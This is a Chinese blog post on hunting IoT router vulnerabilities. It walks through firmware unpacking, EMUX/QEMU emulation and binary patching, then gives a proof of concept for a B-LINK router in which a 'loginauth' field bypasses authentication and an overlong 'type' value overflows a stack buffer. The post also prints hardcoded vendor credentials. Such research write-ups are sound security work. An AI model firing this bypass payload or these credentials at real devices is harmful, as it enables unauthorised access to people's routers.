首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
1
篇与
的结果
2026-04-11
【技术分享】IoT 安全 白盒视角下的漏洞挖掘
留言记录一次 "低门槛" 路由器漏洞挖掘,流程简单清晰,就像在漏洞靶场里通关一样。本来不太想写,毕竟难度很低、含金量一般,水了几张证书,随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备,这类设备普遍开发成本低、安全意识薄弱,代码写得比较随意,防护机制简陋,是漏洞高发重灾区。不同于互联网网站漏洞,IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开,门槛有高有低。入门玩法不用精通高深逆向,靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞,上手快、出洞效率高,很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设,很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑,也能轻松提交漏洞平台拿证书,当作技术积累再合适不过。寻找目标挖漏洞不难,难在找目标、搞到源码,前期核心都是信息收集。在开始分析之前,必须先确定目标,以下是推荐的搜集方式:1.在购物平台找网络设备,比如:路由器、摄像头,然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目,这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide,记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库,搜 路由器、IoT、固件 关键词,找已公开漏洞的型号或公司。固件提取找到目标后,一般官网上都有路由器升级固件,如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法,可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程:下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密,无法直接解包,可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件,也能在 GitHub 找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢?binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例,binwalk -E 跑一下固件,熵值全程快接近 1.0,那这固件就是加密或者强压缩,直接解包肯定解不开。固件实在解不了密,不一定非要做白盒审计,黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据,也能挖出漏洞。互联网资产一般解包后,我做的第一件事,是先确定指纹,很简单解包里会有前端代码,我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash,或者 body、title 关键字。有的设备在互联网压根就没资产,就纯内网使用,如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交,不用找资产,只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多,完整固件仿真难度普遍较高,或者买个路由器挖(滑稽)很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式:qemu 单个程序测试(这也是常见的IoT漏洞挖掘方式)EMUX 完整运行先把 EMUX 项目下载到本地,比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢,可以自己挂代理,到 Github 上下载项目源码,然后解压执行以下命令。cd emux ./build-emux-volume ./build-emux-docker安装完成后就能使用了,EMUX 目录结构:C:. ├─docs # 文档、说明与截图存放目录 │ └─img # 文章/报告所用图片 ├─files # emux 运行相关文件总目录 │ ├─emux # emux 固件仿真环境核心目录 │ │ ├─firmware # 待仿真固件存放目录,按设备型号分类 │ │ │ ├─AC15 # 路由器 AC15 固件相关 │ │ │ │ ├─flashmem │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─ARCHERC9 │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─DCS935L # 摄像头 DCS935L 固件 │ │ │ │ └─kernel │ │ │ ├─DIR615C # DIR615C 路由器固件 │ │ │ │ └─kernel │ │ │ ├─DV-ARM # ARM 架构调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEB # MIPS 大端调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEL # MIPS 小端调试固件 │ │ │ │ └─kernel │ │ │ ├─PH0WNCTF # CTF IoT 题目固件 │ │ │ │ └─kernel │ │ │ └─TRI227WF # 路由器 TRI227WF 固件 │ │ │ └─kernel │ │ ├─hostfs # 与仿真系统共享的文件系统 │ │ ├─run # 仿真启动脚本、运行日志 │ │ └─template # 通用仿真模板(内核、预加载配置) │ │ ├─kernel │ │ └─preload │ ├─etc # 系统及工具配置 │ │ ├─local.d │ │ └─tinyproxy # 代理配置 │ └─home │ └─r0 # 调试用户环境 │ ├─config │ │ └─pip │ ├─dircolors │ ├─gef # GDB-GEF 调试环境配置 │ └─ssh └─workspace # 个人工作目录,用于漏洞分析、脚本编写EMUX 默认自带了固件在 firmware 文件夹里,我们需要注意的就是这个,下载的固件解包后都要放到这里面。可以参考它自带的固件模板,然后配置下 firmware 文件夹里的 devices 就行。这里我以 BL‑CPE450H 固件为例(已通过binwalk解包)。在固件目录下创建 config、nvram.ini 及 kernel 文件夹,内容如下:# config 配置 # Tinysploit MIPSEL 仿真配置 id=firmware/BL-CPE450H # 固件型号与路径 #nvram=nvram.ini # NVRAM配置(未启用) rootfs=cpio-root # 指定根文件系统 randomize_va_space=0 # 关闭ASLR,便于漏洞调试 legacy_va_layout=1 # 兼容旧设备内存布局 mount_dev_tree=1 # 挂载/dev设备目录 mount_proc=1 # 挂载/proc进程目录 mount_sys=1 # 挂载/sys系统目录 initcommands="/etc_ro/rcS;/bin/sh" # 启动脚本+交互shell配置实在不懂,可以问 AI 比如 initcommands 的配置,每个固件都不同,有的不用 /etc_ro/rcS;。# nvram.ini 配置(固件仿真所需硬件参数,扣代码填数据) WebInit=1 # Web管理界面初始化开关 OperationMode=1 # 设备工作模式 Login=admin # 后台登录账号 Password=admin # 后台登录密码 lan_ipaddr=192.168.1.1 # 内网管理地址 lan_netmask=255.255.255.0 # 子网掩码 SSID=B-LINK # WiFi名称 blinkssid=B-LINK # 设备默认WiFi名称 AuthMode=WPAPSK # WiFi加密方式 HideSSID=0;0; # 是否隐藏WiFi(0=不隐藏)# devices 配置 firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router这些配置跟 devices 文件内容要对应的,比如用到小端序 qemu-system-mipsel。内核用 vmlinux-2.6.32.5-malta-mipsel 那么 kernel 文件夹必须要有这个文件。不太懂可以参考官方自带的模板。./build-emux-docker # 构建镜像,让所有配置生效配置写完必须跑一遍这条命令,改了配置也要重新执行,不然不生效。./run-emux-docker # 启动固件仿真环境最后执行这条命令,进行启动。# [EMUX-DOCKER 🐳] /home/r0# launcher launcher # 启动仿真到 EMUX 交互界面再输入以上命令。发现已经添加成功了,鼠标点击选择下 BL-CPE450H 然后 OK。输入 root 账号,进行回车。有三种模式:0:默认宿主机 shell,不启动仿真,改配置用1:完整启动路由器,正常用/测漏洞用2:直连路由器控制台,调试/排错用我选第二个,直接启动完整路由器。不出意外的情况下,还是出意外了,第一个问题:goahead 缺 nvram_daemon。既然仿真环境没有这个守护进程,不折腾了,直接反编译 goahead 二进制打补丁,跳过 nvram 检查。哪里卡壳就 patch 哪里,也可借助 AI 找出需跳过的判断逻辑。// goahead 代码 int __fastcall ftext(int argc, const char *argv, const char *envp) { int v3; int v4; int v5; int v6; int v7; int v8; const char *v9; _BYTE *v10; _BYTE *v11; int v12; unsigned int v13; int v14; int v15; int v16; _BYTE v18[4]; int v19; char v20[200]; int v21; bopen(0, 61440, 1); signal(13, 1); v3 = fopen("/var/run/goahead.pid", "w+"); if ( v3 ) // NOP 0x004052F8 { v4 = getpid(); fprintf(v3, "%d", v4); fclose(v3); while ( !GetPid("nvram_daemon") ) // NOP 0x00405380 sleep(5); memset(v20, 0, sizeof(v20)); signal(24, sub_4492B8); signal(17, 1); signal(26, hotPluglerHandler); v5 = open("/dev/gpio", 0); v6 = v5; if ( v5 < 0 ) // NOP 0x00405404 { perror("/dev/gpio"); } else if ( ioctl(v5, 17, 1) >= 0 ) // NOP 0x00405424 { } else if ( ioctl(v6, 8, v7) >= 0 ) // NOP 0x00405440 { } else if ( ioctl(v6, 10, v18) >= 0 ) { close(v6); signal(16, sub_449240); } else { perror("ioctl"); close(v6); } signal(31, WPSSingleTriggerHandler); if ( sub_4493D8() >= 0 ) // NOP 0x004054C0 { v8 = nvram_bufget(0, "OperationMode"); if ( !atoi(v8) ) // NOP 0x00405500 { memset(v20, 0, sizeof(v20)); sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" > /proc/%s/DHCP_Dns", "mt7628"); doSystem(v20); } if ( initInternet() >= 0 ) // NOP 0x0040551C { v9 = (const char *)nvram_bufget(0, "lan_ipaddr"); socketOpen(); v10 = (_BYTE *)nvram_bufget(0, "Login"); v11 = (_BYTE *)nvram_bufget(0, "Password"); umOpen(); umAddGroup("adm", 7, 3, 0, 0); if ( v10 && *v10 && v11 && *v11 ) { umAddUser(v10, v11, "adm", 0, 0); umAddAccessLimit("/", 3, 0, "adm"); } else { error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password"); } if ( v9 ) // NOP 0x00405614 { v12 = inet_addr(v9); if ( v12 != -1 ) // NOP 0x00405634 { strcpy(v20, "/etc_ro/web"); v21 = v12; websSetDefaultDir(v20); v21 = inet_ntoa(v21); v13 = strlen(v21) + 1; v14 = 128; if ( v13 < 0x80 ) v14 = v13; ascToUni(v18, v21, v14); websSetIpaddr(v18); websSetHost(v18); websSetDefaultPage("login.asp"); websSetPassword(""); websOpenServer(80, 5); websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1); websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0); websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0); websUrlHandlerDefine("", 0, 0, websDefaultPage, 2); formDefineCGIjson(); websUrlHandlerDefine("/", 0, 0, sub_449360, 0); if ( !*(_BYTE *)nvram_bufget(0, "Password") ) { doSystem("echo 'admin:x:0:admin' > /etc/group"); doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' > /etc/passwd"); doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-"); } v15 = nvram_bufget(0, "Login"); strcpy(&g_User, v15); v16 = nvram_bufget(0, "Password"); strcpy(&g_Pass, v16); strcpy(&g_baseUser, "adminblink"); strcpy(&g_basePass, "blinkadmin"); while (1) { if ( socketReady(-1) || socketSelect(-1, 1000) ) socketProcess(-1); websCgiCleanup(); emfSchedProcess(); } } error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9); } else { error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM"); } } } } else { error("goahead.c", 240, 2, "goahead.c: cannot open pid file"); } return -1; }比较懒 IDA Pro 也没装插件,一个一个打太麻烦了,这里我用 radare2 -w 直接刷过去。# r2 -w goahead aaa oo+ s 0x00405380 wx 00000000 s 0x00405404 wx 00000000 s 0x00405424 wx 00000000 s 0x00405440 wx 00000000 s 0x00405614 wx 00000000 s 0x00405634 wx 00000000 s 0x004052F8 wx 00000000 s 0x004054C0 wx 00000000 s 0x00405500 wx 00000000 s 0x0040551C wx 00000000 qs 0x00405380 wx 00000000 → while (!GetPid("nvram_daemon")) sleep(5); // NOP s 0x00405404 wx 00000000 → if ( v5 < 0 ) // NOP s 0x00405424 wx 00000000 → if ( ioctl(v5, 17, 1) >= 0 ) // NOP s 0x00405440 wx 00000000 → if ( ioctl(v6, 8, v7) >= 0 ) // NOP s 0x00405614 wx 00000000 → if ( v9 ) // NOP s 0x00405634 wx 00000000 → if ( v12 != -1 ) // NOP s 0x004052F8 wx 00000000 → if ( v3 ) // NOP s 0x004054C0 wx 00000000 → if ( sub_4493D8() >= 0 ) // NOP s 0x00405500 wx 00000000 → if ( !atoi(v8) ) // NOP s 0x0040551C wx 00000000 → if ( initInternet() >= 0 ) // NOP q以上是对应 nop 地址与代码位置。chmod -R 777 BL-CPE450H 修改完要运行一定要给权限,不然仿真会没权限运行失败。打完补丁后,重复上面的 EMUX 操作重新启动,就成功能访问了。序号外部端口(Linux系统)内部端口(模拟的系统)120080192.168.100.2:80220443192.168.100.2:443328080192.168.100.2:8080424433192.168.100.2:443359999192.168.100.2:9999这是端口映射表,比如仿真的路由器访问 web 端口是 8080 ,在实体机访问 28080。QEMU 单个运行像 cgi-bin、bin 目录里放的都是可执行程序,只是芯片架构(MIPS、ARM 等)跟电脑不同,运行不了,要用 QEMU 来模拟。可以通过 file 命令 查看程序的架构、字节序,区分是大端序还是小端序,方便后续仿真。这里显示 LSB 表示小端序,对应使用 qemu-mipsel,MSB 表示大端序,对应使用 qemu-mips。架构标识端序QEMU 对应命令MIPSEL (LSB)小端序qemu-mipselMIPS (MSB)大端序qemu-mipsARM (LSB)小端序qemu-armARM64 (LSB)小端序qemu-aarch64这里以 busybox 举例也是成功运行了,那么就可以通过这种方式单个程序测试漏洞了。漏洞挖掘未授权漏洞IoT 未授权是最好的突破口,因为有的设备根本不需要认证,当然也会遇到授权后漏洞利用的情况。那么怎么测未授权呢?非常简单,说说我平时常用的操作:1.先登录路由器,用 Yakit 抓包,功能都点一遍,收集接口,进行模糊测试。2.解包固件,在代码里找接口,然后用 Yakit 批量请求接口,不加任何头部认证。3.查找该设备有没有公开漏洞,从已有的报告或文章里了解漏洞、构造请求接口。4.硬核一点就纯看代码配合AI,不用仿真直接看出接口跟漏洞,然后线上实测。cgi-bin 本质就是文件系统,最容易出现未授权访问。栈溢出漏洞这是我挖到的最简单的栈溢出基于 cgi-bin 未授权,程序代码也没做任何防护。# 本地 QEMU 模拟运行,绕过认证 + 栈溢出 echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi通过 qemu-mipsel 直接本地运行路由器固件中的 lighttpd.cgi,携带 loginauth 字段即可绕过鉴权,并通过超长字符串触发栈溢出漏洞。// lighttpd.cgi 代码 int __fastcall ftext(int argc, const char **argv, const char **envp) { int v3; // $s2 char *v4; // $a0 int v5; // $s1 int v6; // $s0 int v7; // $v0 int v8; // $a0 _BYTE v10[16384]; // [sp+18h] [-4000h] BYREF memset(v10, 0, sizeof(v10)); v3 = getenv("AUTHORIZATION"); // 获取请求头中的 Authorization 认证信息 v4 = (char *)getenv("CONTENT_LENGTH"); if ( !v4 ) v4 = ""; v5 = strtol(v4, 0, 10) + 1; if ( v5 >= 2 ) { v6 = malloc(v5); if ( v6 ) { if ( sub_400E98() ) { LABEL_12: free(v6); return 0; } memset(v6, 0, v5); fgets(v6, v5, stdin); // 读取 POST 提交的内容 v7 = strstr(v6, "loginauth"); // 检查提交的参数里有没有 loginauth // 如果 POST 数据 包含 loginauth 字段 if ( !v7 ) { // 没有 loginauth 才会校验账号密码 if ( !check_auth(v3) ) { // 认证失败返回 {"result":8} strcpy(v10, "{\"result\":8}"); sub_400BE0(); LABEL_11: puts(v10); goto LABEL_12; } v8 = v6; } // 只要 POST 包含 loginauth 字段,直接跳过密码校验 // 无需账号、无需密码、无需 token,直接进入核心功能 share_func(v8, v10); // 溢出点在 share_func 函数里 goto LABEL_11; } } return 0; }这里我通过 grep -r 快速定位 share_func 函数在哪个动态链接库里。 找到后 libblinkapi.so 用 IDA Pro 反编译,审计下就能发现 strcpy(v16, v11); 是有问题的。// libblinkapi.so // 参数 a1 = 传入的JSON字符串(包含type和loginauth) // 参数 a2 = 输出缓冲区,用于存放返回结果 int __fastcall share_func(int a1, _BYTE *a2) { int v4; // $v0 int v5; // $s2 _BYTE *v6; // $a0 const char *v7; // $a1 int ObjectItem; // $v0 int v10; // $s3 int v11; // $a1 int v12; // $s3 int v13; // $s6 char *v14; // $s4 _BYTE v15[16384]; // [sp+18h] [-4100h] BYREF char v16[256]; // [sp+4018h] [-100h] BYREF 局部变量,仅256字节栈空间 memset(v15, 0, sizeof(v15)); // 1. 解析我们传入的JSON数据:{"type":"getmanpwdAAA...","loginauth":""} v4 = cJSON_Parse(a1); v5 = v4; if ( !v4 ) { v6 = v15; v7 = "{\"result\":7}"; LABEL_5: strcpy(v6, v7); return -1; } // 2. 提取JSON中的 "type" 字段内容 // 也就是我们传入的:getmanpwd + 超长AAA...BBB...字符串 ObjectItem = cJSON_GetObjectItem(v4, "type"); if ( !ObjectItem ) { strcpy(v15, "{\"result\":7}"); cJSON_Delete(v5); v6 = a2; v7 = v15; goto LABEL_5; } // 拿到 type 字符串指针 v10 = *(_DWORD *)(ObjectItem + 16); // 清空 v16 缓冲区(大小只有 256 字节) memset(v16, 0, sizeof(v16)); v11 = v10; v12 = 0; // 危险函数:strcpy(目标,源) // 目标:v16 只有 256 字节栈空间 // 源:我们传入的超长 type 字符串(几百字节) // 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出 strcpy(v16, v11); v13 = strlen(v16); do { v14 = &blink_handle[68 * v12]; if ( v13 == strlen(v14) && !memcmp(v16, v14, v13) ) { (*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15); goto LABEL_12; } ++v12; } while ( v12 != 124 ); sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16); LABEL_12: cJSON_Delete(v5); strcpy(a2, v15); return 0; }1.loginauth → 绕过认证2.type 后面跟超长字符串3.进入 share_func 后,执行 strcpy(v16, 超长字符串)4.v16 只有 256字节,直接 → 栈溢出那么就可以基于这个突破口 get shell 了,没写 exp 构造也很简单。硬编码漏洞这种最好挖了,基本像什么路由器登录密码,固件解包密码都是硬编码写在固件里。硬编码漏洞直接用 firmwalker、IDA、grep、strings 搜敏感关键字就行。固件解包之后,拿 strings、grep 一顿搜 password、admin、key、secret、token 这些关键词。用 firmwalker 扫更省事,会自动帮你找出写死的敏感信息。拒绝服务漏洞常见的几种路子:1.接口疯狂发包,看设备会不会直接卡死、重启、断服务。2.给接口传超大包、超长参数,撑爆内存或进程,直接打宕。3.对一些没校验的 CGI 接口,无脑 Fuzz 畸形数据,很容易触发崩溃。4.有些逻辑漏洞也能造成 DoS,比如死循环、无限创建进程,设备直接跑满卡死。5.未授权接口反复调用,把设备资源占满,服务直接不可用。后门漏洞常见的几种路子:1.有些厂商为了方便后期维护调试,会特意预留专用后门账号或接口。2.开发测试阶段加的临时入口、调试功能,上线前没及时删掉。3.代码审核不严格,隐藏的后门逻辑直接留在固件里没被发现。4.还有部分后门是隐蔽的硬编码口令、万能密码,同型号设备通用。5.解包固件或者黑盒测试接口,很容易找到这些隐藏入口直接拿权限。远程命令执行漏洞常见的几种路子:1.接口对传入的参数没做过滤,直接拼接到系统命令里执行,可控点直接拿权限。2.一些 CGI 脚本处理用户数据时不严谨,恶意参数直接被当成系统命令运行。3.上传点、恢复配置、固件升级等功能没校验内容,被植入恶意命令执行。4.代码里直接用 system、popen 这类函数,且外部可控,极易被利用。5.未授权访问的命令调用接口,构造 payload 就能远程执行任意命令。组合利用 这也是我最喜欢的环节,一步一步绕过限制、构造 payload。最终打出完整利用链,整个过程特别让人兴奋,就讲这么多了。结尾挖洞方法论(个人研究)序号思路口诀核心用法适用场景1先媒介后漏洞从入口、交互点入手遍历测试与Fuzz,高效批量测试日常刷洞、实战渗透、快速量产出洞2先漏洞后媒介预设漏洞类型,反向寻找可触发路径深挖0day、深度安全研究、挖掘高端漏洞3先资产后漏洞全面摸排域名、端口、服务等资产逐一测试常规打点、SRC批量挖洞,稳健积累漏洞4先漏洞后资产持有POC、1day、0day,全网匹配对应目标资产漏洞爆发批量收割、红队快速拿分5先权限后漏洞梳理各级账号权限,直击权限校验短板挖掘未授权、横向越权等高价值业务漏洞6先功能后逻辑走完完整业务流程,寻找流程逻辑缺陷挖掘权限绕过、数据篡改、业务流程漏洞7先流量后代码抓取分析请求流量与参数,纯黑盒排查隐患无源码环境,零基础高效黑盒挖洞8先输入后解析构造畸形特殊输入,冲击后端数据解析模块文件解析、XML、富文本类漏洞挖掘9先边界后溢出拿捏数据长度、字符、数值边界临界点字符串截断、权限绕过、栈堆溢出类漏洞10先默认后配置优先检测默认账号、路径、出厂配置运维疏漏漏洞,低成本快速挖到通用弱洞11先依赖后本体优先审计第三方组件、框架、中间件快速利用通用组件漏洞,降低挖洞难度12先同源后跨域先突破同域权限,再攻坚跨域相关防护前端安全、单点登录、子域权限突破13先历史后现网调取历史域名、备份文件、老旧源码发掘遗留废弃接口、陈年未修复漏洞14先会话后身份窃取会话凭证顶替合法身份,绕过登录校验免密登录、身份劫持、无声获取后台权限15先可控后利用围绕外部可控点位,定向构造攻击载荷命令执行、SQL注入、任意文件读写通用打法实操挖洞从来不是死啃理论,多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大,只要沉下心深耕,不管是练手积累证书,还是深挖原生零日漏洞,都能收获满满,技术之路贵在坚持与实操。最后送给看文章的小伙伴们:实践出真理。
2026年04月11日
1,021 阅读
0 评论
250 点赞
0:00